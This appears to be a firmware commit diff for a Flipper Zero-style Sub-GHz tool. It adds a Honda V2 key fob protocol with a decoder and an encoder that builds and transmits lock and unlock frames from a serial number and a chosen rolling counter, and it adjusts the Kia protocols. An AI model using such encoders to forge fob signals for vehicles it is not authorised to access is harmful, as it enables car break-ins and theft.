static uint16_t honda_v2_calculate_tail(uint32_t count) {
return honda_v2_calculate_tail_msb(count) ? 0xFFFFU : 0x7FFFU;
}
static void honda_v2_parse_key_fields(
uint64_t key,
uint32_t* signature,
uint32_t* serial,
uint32_t* count,
uint8_t* button,
uint8_t* check) {
uint8_t key_bytes[8];
honda_v2_u64_to_bytes_be(key, key_bytes);
const uint32_t sig = ((uint32_t)key_bytes[0] << 16) | ((uint32_t)key_bytes[1] << 8) |
key_bytes[2];
const uint32_t sn = ((uint32_t)key_bytes[3] << 16) | ((uint32_t)key_bytes[4] << 8) |
key_bytes[5];
const uint32_t cnt = ((uint32_t)key_bytes[6] << 1) | ((key_bytes[7] >> 7) & 1U);
if(signature) *signature = sig;
if(serial) *serial = sn;
if(count) *count = cnt;
if(button) *button = honda_v2_button_from_signature(sig);
if(check) *check = key_bytes[7] & 0x07U;
}
static bool honda_v2_validate_frame(
uint64_t key,
uint16_t tail,
bool extra_bit,
bool* check_ok,
bool* tail_ok) {
uint8_t key_bytes[8];
honda_v2_u64_to_bytes_be(key, key_bytes);
const uint32_t count = ((uint32_t)key_bytes[6] << 1) | ((key_bytes[7] >> 7) & 1U);
const uint8_t expected_check = honda_v2_calculate_check(count);
const uint16_t expected_tail = honda_v2_calculate_tail(count);
const bool local_check_ok = ((key_bytes[7] & 0x78U) == 0U) &&
((key_bytes[7] & 0x07U) == expected_check);
const bool local_tail_ok = (tail == expected_tail) && extra_bit;
if(check_ok) *check_ok = local_check_ok;
if(tail_ok) *tail_ok = local_tail_ok;
return local_check_ok && local_tail_ok;
}
static bool honda_v2_add_decoded_bit(SubGhzProtocolDecoderHondaV2* instance, bool bit) {
if(instance->bit_count < 80U) {
const uint8_t byte_index = instance->bit_count / 8U;
const uint8_t bit_index = 7U - (instance->bit_count % 8U);
if(bit) {
instance->raw[byte_index] |= (uint8_t)(1U << bit_index);
}
} else if(instance->bit_count == 80U) {
instance->extra_bit = bit;
} else {
return false;
}
instance->bit_count++;
return true;
}
static bool honda_v2_finish_frame(SubGhzProtocolDecoderHondaV2* instance) {
const uint64_t key = honda_v2_bytes_to_u64_be(instance->raw);
const uint16_t tail = ((uint16_t)instance->raw[8] << 8) | instance->raw[9];
if(!honda_v2_validate_frame(
key, tail, instance->extra_bit, &instance->check_ok, &instance->tail_ok)) {
return false;
}
instance->key = key;
instance->tail = tail;
honda_v2_parse_key_fields(
key,
&instance->command_signature,
&instance->serial,
&instance->count,
&instance->button,
&instance->check);
instance->generic.data = instance->key;
instance->generic.data_count_bit = subghz_protocol_honda_v2_const.min_count_bit_for_found;
instance->generic.serial = instance->serial;
instance->generic.btn = instance->button;
instance->generic.cnt = instance->count;
return true;
}
static bool honda_v2_process_transition(
SubGhzProtocolDecoderHondaV2* instance,
bool level,
uint32_t duration) {
if(!instance->boundary_pad_skipped) {
if(level && honda_v2_is_short(duration)) {
instance->boundary_pad_skipped = true;
return true;
}
instance->boundary_pad_skipped = true;
}
if(instance->pending_short) {
if(!instance->previous_bit && !level && honda_v2_is_short(duration)) {
instance->pending_short = false;
return honda_v2_add_decoded_bit(instance, false);
} else if(instance->previous_bit && level && honda_v2_is_short(duration)) {
instance->pending_short = false;
return honda_v2_add_decoded_bit(instance, true);
}
return false;
}
if(!instance->previous_bit) {
if(level && honda_v2_is_long(duration)) {
instance->previous_bit = true;
return honda_v2_add_decoded_bit(instance, true);
} else if(level && honda_v2_is_short(duration)) {
instance->pending_short = true;
return true;
}
return false;
}
if(!level && honda_v2_is_long(duration)) {
instance->previous_bit = false;
return honda_v2_add_decoded_bit(instance, false);
} else if(!level && honda_v2_is_short(duration)) {
instance->pending_short = true;
return true;
}
return false;
}
static bool honda_v2_encoder_add_level(
SubGhzProtocolEncoderHondaV2* instance,
size_t* index,
bool level,
uint32_t duration) {
if(*index >= HONDA_V2_UPLOAD_CAPACITY) {
return false;
}
instance->encoder.upload[(*index)++] = level_duration_make(level, duration);
return true;
}
static bool honda_v2_encoder_add_bit(
SubGhzProtocolEncoderHondaV2* instance,
size_t* index,
bool* previous_bit,
bool bit) {
const uint32_t te_short = subghz_protocol_honda_v2_const.te_short;
const uint32_t te_long = subghz_protocol_honda_v2_const.te_long;
if(!*previous_bit && !bit) {
if(!honda_v2_encoder_add_level(instance, index, true, te_short) ||
!honda_v2_encoder_add_level(instance, index, false, te_short)) {
return false;
}
} else if(!*previous_bit && bit) {
if(!honda_v2_encoder_add_level(instance, index, true, te_long)) {
return false;
}
} else if(*previous_bit && !bit) {
if(!honda_v2_encoder_add_level(instance, index, false, te_long)) {
return false;
}
} else {
if(!honda_v2_encoder_add_level(instance, index, false, te_short) ||
!honda_v2_encoder_add_level(instance, index, true, te_short)) {
return false;
}
}
*previous_bit = bit;
return true;
}
static bool honda_v2_build_upload(SubGhzProtocolEncoderHondaV2* instance) {
furi_check(instance);
size_t index = 0;
const uint32_t te_short = subghz_protocol_honda_v2_const.te_short;
uint8_t key_bytes[8];
honda_v2_u64_to_bytes_be(instance->key, key_bytes);
for(uint16_t i = 0; i < HONDA_V2_PREAMBLE_PAIRS; i++) {
if(!honda_v2_encoder_add_level(instance, &index, true, te_short) ||
!honda_v2_encoder_add_level(instance, &index, false, te_short)) {
return false;
}
}
if(!honda_v2_encoder_add_level(instance, &index, true, HONDA_V2_SYNC_US) ||
!honda_v2_encoder_add_level(instance, &index, false, HONDA_V2_SYNC_US) ||
!honda_v2_encoder_add_level(instance, &index, true, te_short)) {
return false;
}
bool previous_bit = true;
if(!honda_v2_encoder_add_bit(instance, &index, &previous_bit, false)) {
return false;
}
for(uint8_t bit_index = 2; bit_index < 64; bit_index++) {
const uint8_t byte_index = bit_index / 8U;
const uint8_t bit_in_byte = 7U - (bit_index % 8U);
const bool bit = (key_bytes[byte_index] >> bit_in_byte) & 1U;
if(!honda_v2_encoder_add_bit(instance, &index, &previous_bit, bit)) {
return false;
}
}
instance->tail = honda_v2_calculate_tail(instance->count);
for(uint8_t bit_index = 0; bit_index < 16; bit_index++) {
const bool bit = (instance->tail >> (15U - bit_index)) & 1U;
if(!honda_v2_encoder_add_bit(instance, &index, &previous_bit, bit)) {
return false;
}
}
if(!honda_v2_encoder_add_bit(instance, &index, &previous_bit, true)) {
return false;
}
if(!honda_v2_encoder_add_level(instance, &index, false, HONDA_V2_GAP_US)) {
return false;
}
instance->encoder.front = 0;
instance->encoder.size_upload = index;
return true;
}
static uint32_t honda_v2_signature_from_button(uint8_t button) {
switch(button) {
case HONDA_V2_BTN_LOCK:
return HONDA_V2_SIG_LOCK;
case HONDA_V2_BTN_UNLOCK:
return HONDA_V2_SIG_UNLOCK;
default:
return 0;
}
}
static uint64_t honda_v2_build_key(uint32_t signature, uint32_t serial, uint32_t count) {
uint8_t key_bytes[8] = {0};
key_bytes[0] = (uint8_t)((signature >> 16) & 0xFFU);
key_bytes[1] = (uint8_t)((signature >> 8) & 0xFFU);
key_bytes[2] = (uint8_t)(signature & 0xFFU);
key_bytes[3] = (uint8_t)((serial >> 16) & 0xFFU);
key_bytes[4] = (uint8_t)((serial >> 8) & 0xFFU);
key_bytes[5] = (uint8_t)(serial & 0xFFU);
key_bytes[6] = (uint8_t)((count >> 1) & 0xFFU);
const bool counter_lsb = (count & 1U) != 0;
const uint8_t check = honda_v2_calculate_check(count);
key_bytes[7] = (counter_lsb ? 0x80U : 0x00U) | check;
return honda_v2_bytes_to_u64_be(key_bytes);
}
const SubGhzProtocolDecoder subghz_protocol_honda_v2_decoder = {
.alloc = subghz_protocol_decoder_honda_v2_alloc,
.free = subghz_protocol_decoder_honda_v2_free,
.feed = subghz_protocol_decoder_honda_v2_feed,
.reset = subghz_protocol_decoder_honda_v2_reset,
.get_hash_data = subghz_protocol_decoder_honda_v2_get_hash_data,
.serialize = subghz_protocol_decoder_honda_v2_serialize,
.deserialize = subghz_protocol_decoder_honda_v2_deserialize,
.get_string = subghz_protocol_decoder_honda_v2_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_honda_v2_encoder = {
.alloc = subghz_protocol_encoder_honda_v2_alloc,
.free = subghz_protocol_encoder_honda_v2_free,
.deserialize = subghz_protocol_encoder_honda_v2_deserialize,
.stop = subghz_protocol_encoder_honda_v2_stop,
.yield = subghz_protocol_encoder_honda_v2_yield,
};
const SubGhzProtocol honda_v2_protocol = {
.name = HONDA_V2_PROTOCOL_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_honda_v2_decoder,
.encoder = &subghz_protocol_honda_v2_encoder,
};
void* subghz_protocol_decoder_honda_v2_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderHondaV2* instance =
calloc(1, sizeof(SubGhzProtocolDecoderHondaV2));
furi_check(instance);
instance->base.protocol = &honda_v2_protocol;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_honda_v2_free(void* context) {
furi_check(context);
SubGhzProtocolDecoderHondaV2* instance = context;
free(instance);
}
void subghz_protocol_decoder_honda_v2_reset(void* context) {
furi_check(context);
SubGhzProtocolDecoderHondaV2* instance = context;
instance->decoder.parser_step = HondaV2DecoderStepReset;
instance->decoder.te_last = 0;
instance->preamble_count = 0;
memset(instance->raw, 0, sizeof(instance->raw));
instance->bit_count = 0;
instance->extra_bit = false;
instance->previous_bit = true;
instance->boundary_pad_skipped = false;
instance->pending_short = false;
}
void subghz_protocol_decoder_honda_v2_feed(void* context, bool level, uint32_t duration) {
furi_check(context);
SubGhzProtocolDecoderHondaV2* instance = context;
switch(instance->decoder.parser_step) {
case HondaV2DecoderStepReset:
if(level && honda_v2_is_short(duration)) {
instance->preamble_count = 0;
instance->decoder.parser_step = HondaV2DecoderStepPreambleLow;
}
break;
case HondaV2DecoderStepPreambleLow:
if(!level && honda_v2_is_short(duration)) {
instance->preamble_count++;
instance->decoder.parser_step = HondaV2DecoderStepPreambleHigh;
} else {
instance->decoder.parser_step = HondaV2DecoderStepReset;
}
break;
case HondaV2DecoderStepPreambleHigh:
if(level && honda_v2_is_short(duration)) {
instance->decoder.parser_step = HondaV2DecoderStepPreambleLow;
} else if(
level && honda_v2_is_sync(duration) &&
instance->preamble_count >= HONDA_V2_MIN_PREAMBLE_PAIRS) {
instance->decoder.parser_step = HondaV2DecoderStepSyncLow;
} else {
instance->decoder.parser_step = HondaV2DecoderStepReset;
}
break;
case HondaV2DecoderStepSyncLow:
if(!level && honda_v2_is_sync(duration)) {
memset(instance->raw, 0, sizeof(instance->raw));
instance->bit_count = 0;
instance->extra_bit = false;
instance->previous_bit = true;
instance->boundary_pad_skipped = false;
instance->pending_short = false;
honda_v2_add_decoded_bit(instance, true);
instance->decoder.parser_step = HondaV2DecoderStepData;
} else {
instance->decoder.parser_step = HondaV2DecoderStepReset;
}
break;
case HondaV2DecoderStepData:
if(!honda_v2_process_transition(instance, level, duration)) {
instance->decoder.parser_step = HondaV2DecoderStepReset;
break;
}
if(instance->bit_count == subghz_protocol_honda_v2_const.min_count_bit_for_found) {
if(honda_v2_finish_frame(instance) && instance->base.callback) {
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.parser_step = HondaV2DecoderStepReset;
}
break;
}
instance->decoder.te_last = duration;
}
uint8_t subghz_protocol_decoder_honda_v2_get_hash_data(void* context) {
furi_check(context);
SubGhzProtocolDecoderHondaV2* instance = context;
SubGhzBlockDecoder decoder = {
.decode_data = instance->key,
.decode_count_bit = 64,
};
uint8_t hash = subghz_protocol_blocks_get_hash_data(&decoder, 9);
hash ^= (uint8_t)(instance->tail >> 8);
hash ^= (uint8_t)instance->tail;
hash ^= instance->extra_bit ? 1U : 0U;
return hash;
}
SubGhzProtocolStatus subghz_protocol_decoder_honda_v2_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_check(context);
SubGhzProtocolDecoderHondaV2* instance = context;
SubGhzProtocolStatus ret =
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
if(ret == SubGhzProtocolStatusOk) {
uint8_t key_bytes[8];
honda_v2_u64_to_bytes_be(instance->key, key_bytes);
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_hex(flipper_format, "Key", key_bytes, sizeof(key_bytes));
uint32_t tmp;
flipper_format_rewind(flipper_format);
tmp = instance->serial;
if(!flipper_format_update_uint32(flipper_format, "Serial", &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Serial", &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->button;
if(!flipper_format_update_uint32(flipper_format, "Btn", &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->command_signature;
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_BTNSIG, &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_BTNSIG, &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->count;
if(!flipper_format_update_uint32(flipper_format, "Cnt", &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->check;
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_CHECK, &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_CHECK, &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->tail;
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_TAIL, &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_TAIL, &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->extra_bit ? 1U : 0U;
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_EXTRA_BIT, &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_EXTRA_BIT, &tmp, 1);
}
}
return ret;
}
SubGhzProtocolStatus subghz_protocol_decoder_honda_v2_deserialize(
void* context,
FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolDecoderHondaV2* instance = context;
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_honda_v2_const.min_count_bit_for_found);
if(ret == SubGhzProtocolStatusOk) {
uint8_t key_bytes[8] = {0};
bool have_key = false;
flipper_format_rewind(flipper_format);
if(flipper_format_read_hex(flipper_format, "Key", key_bytes, sizeof(key_bytes))) {
instance->key = honda_v2_bytes_to_u64_be(key_bytes);
have_key = true;
}
if(!have_key) {
instance->key = instance->generic.data;
honda_v2_u64_to_bytes_be(instance->key, key_bytes);
}
uint32_t temp = 0;
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, HONDA_V2_FF_TAIL, &temp, 1)) {
instance->tail = temp & 0xFFFFU;
} else {
const uint32_t count = ((uint32_t)key_bytes[6] << 1) | ((key_bytes[7] >> 7) & 1U);
instance->tail = honda_v2_calculate_tail(count);
}
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, HONDA_V2_FF_EXTRA_BIT, &temp, 1)) {
instance->extra_bit = (temp & 1U) != 0;
} else {
instance->extra_bit = true;
}
honda_v2_validate_frame(
instance->key,
instance->tail,
instance->extra_bit,
&instance->check_ok,
&instance->tail_ok);
honda_v2_parse_key_fields(
instance->key,
&instance->command_signature,
&instance->serial,
&instance->count,
&instance->button,
&instance->check);
instance->generic.data = instance->key;
instance->generic.data_count_bit =
subghz_protocol_honda_v2_const.min_count_bit_for_found;
instance->generic.serial = instance->serial;
instance->generic.btn = instance->button;
instance->generic.cnt = instance->count;
}
return ret;
}
void subghz_protocol_decoder_honda_v2_get_string(void* context, FuriString* output) {
furi_check(context);
SubGhzProtocolDecoderHondaV2* instance = context;
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:%016llX\r\n"
"Sn:%06lX Btn:%02X - %s\r\n"
"BtnSig:%06lX\r\n"
"Cnt:%05lX Chk:%02X [%s] Tail:%05lX [%s]\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(unsigned long long)instance->key,
(unsigned long)instance->serial,
instance->button,
honda_v2_button_name(instance->button),
(unsigned long)instance->command_signature,
(unsigned long)instance->count,
instance->check,
instance->check_ok ? "OK" : "BAD",
(unsigned long)(((instance->tail >> 15) & 1U) ? 0x1FFFFUL : 0x0FFFFUL),
instance->tail_ok ? "OK" : "BAD");
}
void* subghz_protocol_encoder_honda_v2_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderHondaV2* instance =
calloc(1, sizeof(SubGhzProtocolEncoderHondaV2));
furi_check(instance);
instance->base.protocol = &honda_v2_protocol;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 10;
instance->encoder.size_upload = HONDA_V2_UPLOAD_CAPACITY;
instance->encoder.upload = malloc(HONDA_V2_UPLOAD_CAPACITY * sizeof(LevelDuration));
furi_check(instance->encoder.upload);
instance->encoder.front = 0;
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_honda_v2_free(void* context) {
furi_check(context);
SubGhzProtocolEncoderHondaV2* instance = context;
free(instance->encoder.upload);
free(instance);
}
SubGhzProtocolStatus subghz_protocol_encoder_honda_v2_deserialize(
void* context,
FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolEncoderHondaV2* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
instance->encoder.is_running = false;
instance->encoder.front = 0;
instance->encoder.repeat = 10;
do {
FuriString* temp_str = furi_string_alloc();
if(!temp_str) break;
flipper_format_rewind(flipper_format);
if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
furi_string_free(temp_str);
break;
}
if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
furi_string_free(temp_str);
break;
}
furi_string_free(temp_str);
SubGhzProtocolStatus load_status = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_honda_v2_const.min_count_bit_for_found);
if(load_status != SubGhzProtocolStatusOk) {
break;
}
instance->serial = instance->generic.serial & 0xFFFFFFU;
instance->button = instance->generic.btn;
instance->count = instance->generic.cnt & 0x1FFU;
uint8_t key_bytes[8] = {0};
bool have_key = false;
flipper_format_rewind(flipper_format);
if(flipper_format_read_hex(flipper_format, "Key", key_bytes, sizeof(key_bytes))) {
instance->key = honda_v2_bytes_to_u64_be(key_bytes);
have_key = true;
}
if(have_key) {
honda_v2_parse_key_fields(
instance->key,
&instance->command_signature,
&instance->serial,
&instance->count,
&instance->button,
&instance->check);
}
uint32_t u32 = 0;
bool have_button = false;
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, "Serial", &u32, 1)) {
instance->serial = u32 & 0xFFFFFFU;
}
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, "Cnt", &u32, 1)) {
instance->count = u32 & 0x1FFU;
}
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, "Btn", &u32, 1)) {
instance->button = (uint8_t)u32;
have_button = true;
}
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, HONDA_V2_FF_BTNSIG, &u32, 1)) {
instance->command_signature = u32 & 0xFFFFFFU;
}
if(have_button) {
const uint32_t signature = honda_v2_signature_from_button(instance->button);
if(signature != 0U) {
instance->command_signature = signature;
}
}
if(instance->command_signature == 0U) {
break;
}
instance->key = honda_v2_build_key(
instance->command_signature, instance->serial, instance->count);
honda_v2_u64_to_bytes_be(instance->key, key_bytes);
instance->tail = honda_v2_calculate_tail(instance->count);
honda_v2_parse_key_fields(
instance->key,
&instance->command_signature,
&instance->serial,
&instance->count,
&instance->button,
&instance->check);
instance->generic.data = instance->key;
instance->generic.data_count_bit =
subghz_protocol_honda_v2_const.min_count_bit_for_found;
instance->generic.serial = instance->serial;
instance->generic.btn = instance->button;
instance->generic.cnt = instance->count;
flipper_format_rewind(flipper_format);
uint32_t repeat = 10;
flipper_format_read_uint32(flipper_format, "Repeat", &repeat, 1);
instance->encoder.repeat = (size_t)repeat;
if(!honda_v2_build_upload(instance) || instance->encoder.size_upload == 0U) {
break;
}
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_hex(flipper_format, "Key", key_bytes, sizeof(key_bytes));
uint32_t tmp;
flipper_format_rewind(flipper_format);
tmp = instance->serial;
if(!flipper_format_update_uint32(flipper_format, "Serial", &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Serial", &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->button;
if(!flipper_format_update_uint32(flipper_format, "Btn", &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->command_signature;
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_BTNSIG, &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_BTNSIG, &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->count;
if(!flipper_format_update_uint32(flipper_format, "Cnt", &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->check;
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_CHECK, &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_CHECK, &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = instance->tail;
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_TAIL, &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_TAIL, &tmp, 1);
}
flipper_format_rewind(flipper_format);
tmp = 1U;
if(!flipper_format_update_uint32(flipper_format, HONDA_V2_FF_EXTRA_BIT, &tmp, 1)) {
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, HONDA_V2_FF_EXTRA_BIT, &tmp, 1);
}
instance->encoder.is_running = true;
ret = SubGhzProtocolStatusOk;
} while(false);
return ret;
}
void subghz_protocol_encoder_honda_v2_stop(void* context) {
SubGhzProtocolEncoderHondaV2* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_honda_v2_yield(void* context) {
SubGhzProtocolEncoderHondaV2* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration duration = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
instance->encoder.repeat--;
instance->encoder.front = 0;
}
return duration;
}
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include <furi.h>
#include <lib/subghz/protocols/base.h>
#include <lib/subghz/types.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <flipper_format/flipper_format.h>
#include <lib/toolbox/level_duration.h>
#define HONDA_V2_PROTOCOL_NAME "Honda V2"
extern const SubGhzProtocol honda_v2_protocol;
void* subghz_protocol_decoder_honda_v2_alloc(SubGhzEnvironment* environment);
void subghz_protocol_decoder_honda_v2_free(void* context);
void subghz_protocol_decoder_honda_v2_reset(void* context);
void subghz_protocol_decoder_honda_v2_feed(void* context, bool level, uint32_t duration);
uint8_t subghz_protocol_decoder_honda_v2_get_hash_data(void* context);
SubGhzProtocolStatus subghz_protocol_decoder_honda_v2_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
SubGhzProtocolStatus
subghz_protocol_decoder_honda_v2_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_decoder_honda_v2_get_string(void* context, FuriString* output);
void* subghz_protocol_encoder_honda_v2_alloc(SubGhzEnvironment* environment);
void subghz_protocol_encoder_honda_v2_free(void* context);
SubGhzProtocolStatus
subghz_protocol_encoder_honda_v2_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_encoder_honda_v2_stop(void* context);
LevelDuration subghz_protocol_encoder_honda_v2_yield(void* context);
+4 -13
View File
@@ -154,7 +154,7 @@ LevelDuration subghz_protocol_encoder_kia_yield(void* context) {
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.repeat--;
instance->encoder.front = 0;
}
@@ -193,10 +193,8 @@ static bool subghz_protocol_encoder_kia_get_upload(SubGhzProtocolEncoderKIA* ins
instance->encoder.size_upload = size_upload;
}
uint32_t override_cnt = 0;
if(subghz_block_generic_global_counter_override_get(&override_cnt)) {
instance->generic.cnt = override_cnt & 0xFFFF;
} else if(instance->generic.cnt < 0xFFFF) {
// Counter increment logic
if(instance->generic.cnt < 0xFFFF) {
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
instance->generic.cnt = 0;
} else {
@@ -211,7 +209,6 @@ static bool subghz_protocol_encoder_kia_get_upload(SubGhzProtocolEncoderKIA* ins
uint8_t btn = subghz_custom_btn_get() == SUBGHZ_CUSTOM_BTN_OK ?
subghz_custom_btn_get_original() :
subghz_custom_btn_get();
subghz_block_generic_global_button_override_get(&btn);
// Update the generic button value for potential button changes
instance->generic.btn = btn;
@@ -328,13 +325,6 @@ SubGhzProtocolStatus subghz_protocol_encoder_kia_deserialize(void* context, Flip
break;
}
uint32_t temp_btn = instance->generic.btn;
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp_btn, 1);
flipper_format_rewind(flipper_format);
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &instance->generic.cnt, 1);
instance->encoder.is_running = true;
} while(false);
@@ -604,3 +594,4 @@ void subghz_protocol_decoder_kia_get_string(void* context, FuriString* output) {
received_crc,
crc_valid ? "(OK)" : "(FAIL)");
}
+158 -168
View File
@@ -8,32 +8,37 @@
#include "../blocks/custom_btn_i.h"
#include <lib/toolbox/manchester_decoder.h>
#define TAG "SubGhzProtocolKiaV1"
#define TAG "KiaV1"
// Costanti esattamente come ProtoP irate
#define KIA_V1_TOTAL_BURSTS 3
#define KIA_V1_TOTAL_BURSTS 3
#define KIA_V1_INTER_BURST_GAP_US 25000
#define KIA_V1_HEADER_PULSES 90
#define KIA_V1_HEADER_PULSES 90
#define KIA_V1_UPLOAD_CAPACITY \
((KIA_V1_TOTAL_BURSTS * ((KIA_V1_HEADER_PULSES * 2) + 1 + ((57U - 1U) * 2))) + \
(KIA_V1_TOTAL_BURSTS - 1))
static const SubGhzBlockConst subghz_protocol_kia_v1_const = {
.te_short = 800,
.te_long = 1600,
.te_delta = 200,
.min_count_bit_for_found = 57, // Come ProtoP irate
.min_count_bit_for_found = 57,
};
struct SubGhzProtocolDecoderKiaV1 {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
uint16_t header_count;
ManchesterState manchester_saved_state; // Come ProtoP irate
ManchesterState manchester_saved_state;
uint8_t crc;
bool crc_check;
};
struct SubGhzProtocolEncoderKiaV1 {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
@@ -41,14 +46,16 @@ struct SubGhzProtocolEncoderKiaV1 {
typedef enum {
KiaV1DecoderStepReset = 0,
KiaV1DecoderStepCheckPreamble,
KiaV1DecoderStepDecodeData, // Come ProtoP irate
KiaV1DecoderStepDecodeData,
} KiaV1DecoderStep;
const SubGhzProtocolDecoder subghz_protocol_kia_v1_decoder = {
.alloc = subghz_protocol_decoder_kia_v1_alloc,
.free = subghz_protocol_decoder_kia_v1_free,
.feed = subghz_protocol_decoder_kia_v1_feed,
.reset = subghz_protocol_decoder_kia_v1_reset,
.get_hash_data = subghz_protocol_decoder_kia_v1_get_hash_data,
.serialize = subghz_protocol_decoder_kia_v1_serialize,
.deserialize = subghz_protocol_decoder_kia_v1_deserialize,
@@ -58,6 +65,7 @@ const SubGhzProtocolDecoder subghz_protocol_kia_v1_decoder = {
const SubGhzProtocolEncoder subghz_protocol_kia_v1_encoder = {
.alloc = subghz_protocol_encoder_kia_v1_alloc,
.free = subghz_protocol_encoder_kia_v1_free,
.deserialize = subghz_protocol_encoder_kia_v1_deserialize,
.stop = subghz_protocol_encoder_kia_v1_stop,
.yield = subghz_protocol_encoder_kia_v1_yield,
@@ -66,31 +74,32 @@ const SubGhzProtocolEncoder subghz_protocol_kia_v1_encoder = {
const SubGhzProtocol subghz_protocol_kia_v1 = {
.name = SUBGHZ_PROTOCOL_KIA_V1_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
